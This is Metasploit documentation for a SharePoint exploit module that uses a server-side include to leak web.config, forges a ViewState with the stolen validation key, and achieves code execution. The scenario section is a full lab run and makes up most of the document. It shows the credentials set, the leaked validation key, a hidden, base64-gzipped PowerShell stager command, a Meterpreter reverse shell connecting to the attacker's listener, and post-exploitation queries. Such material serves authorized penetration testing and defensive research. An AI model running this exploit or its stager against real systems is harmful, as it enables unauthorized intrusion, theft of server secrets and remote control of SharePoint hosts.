metasploit-framework/documentation/modules/exploit/windows/http/sharepoint_ssi_viewstate.md

8.0 KiB

Vulnerable Application

Description

This module exploits a server-side include (SSI) in SharePoint to leak the web.config file and forge a malicious ViewState with the extracted validation key.

This exploit is authenticated and requires a user with page creation privileges, which is a standard permission in SharePoint.

The web.config file will be stored in loot once retrieved, and the VALIDATION_KEY option can be set to short-circuit the SSI and trigger the ViewState deserialization.

Tested against SharePoint 2019 on Windows Server 2016.

Setup

Follow Microsoft's documentation.

Verification Steps

Follow Setup and Scenarios.

Targets

Windows Command

This executes a Windows command.

Windows Dropper

This uses a Windows dropper to execute code.

PowerShell Stager

This uses a PowerShell stager to execute code.

Options

HttpUsername

Set this to the SharePoint username.

HttpPassword

Set this to the SharePoint password.

VALIDATION_KEY

Set this to the ViewState validation key if you have it.

Set this to a SharePoint cookie if you have one. This is primarily useful for form auth.

Scenarios

SharePoint 2019 on Windows Server 2016

msf6 > use exploit/windows/http/sharepoint_ssi_viewstate
[*] Using configured payload windows/x64/meterpreter/reverse_https
msf6 exploit(windows/http/sharepoint_ssi_viewstate) > options

Module options (exploit/windows/http/sharepoint_ssi_viewstate):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   COOKIE                           no        SharePoint cookie if you have one
   HttpPassword                     no        SharePoint password
   HttpUsername                     no        SharePoint username
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT           80               yes       The target port (TCP)
   SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT         8080             yes       The local port to listen on.
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI       /                yes       Base path
   URIPATH                          no        The URI to use for this exploit (default is random)
   VALIDATION_KEY                   no        ViewState validation key
   VHOST                            no        HTTP server virtual host


Payload options (windows/x64/meterpreter/reverse_https):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The local listener hostname
   LPORT     8443             yes       The local listener port
   LURI                       no        The HTTP Path


Exploit target:

   Id  Name
   --  ----
   2   PowerShell Stager


msf6 exploit(windows/http/sharepoint_ssi_viewstate) > set rhosts 192.168.123.237
rhosts => 192.168.123.237
msf6 exploit(windows/http/sharepoint_ssi_viewstate) > set httpusername Administrator
httpusername => Administrator
msf6 exploit(windows/http/sharepoint_ssi_viewstate) > set httppassword Passw0rd!
httppassword => Passw0rd!
msf6 exploit(windows/http/sharepoint_ssi_viewstate) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(windows/http/sharepoint_ssi_viewstate) > run

[*] Started HTTPS reverse handler on https://192.168.123.1:8443
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. SharePoint 16.0.0.10337 is a vulnerable build.
[*] Creating page for SSI: /z0zL8ruBOIcdq7aVekdlh.aspx
[+] Successfully created page
[*] Leaking web.config
[+] Saved web.config to /Users/wvu/.msf4/loot/20201015131428_default_192.168.123.237_web.config_940022.txt
[+] ViewState validation key: FEF7456DF90E1A6B7CA04D00ED56228602E2AF3C94B7A34F7735D5AFC340C9E4
[*] Deleting /z0zL8ruBOIcdq7aVekdlh.aspx
[+] Successfully deleted page
[*] Executing PowerShell Stager for windows/x64/meterpreter/reverse_https
[*] Powershell command length: 2918
[*] Executing command: powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIAJiRiF8CA7VWa4/aSBb9nEj5D9YIC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HQgo8TQeep6OX0LxXx1dAY94Dv7eVhM/9dRd/qMEm+ef1f8s6p4FwMAAA=''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"
[+] Successfully executed command
[*] https://192.168.123.1:8443 handling request from 192.168.123.237; (UUID: 8g4qnmlb) Staging x64 payload (201308 bytes) ...
[*] Meterpreter session 1 opened (192.168.123.1:8443 -> 192.168.123.237:62885) at 2020-10-15 13:15:00 -0500

meterpreter > getuid
Server username: GIBSON\Administrator
meterpreter > sysinfo
Computer        : WIN-G2PGASM3QFA
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : GIBSON
Logged On Users : 18
Meterpreter     : x64/windows
meterpreter >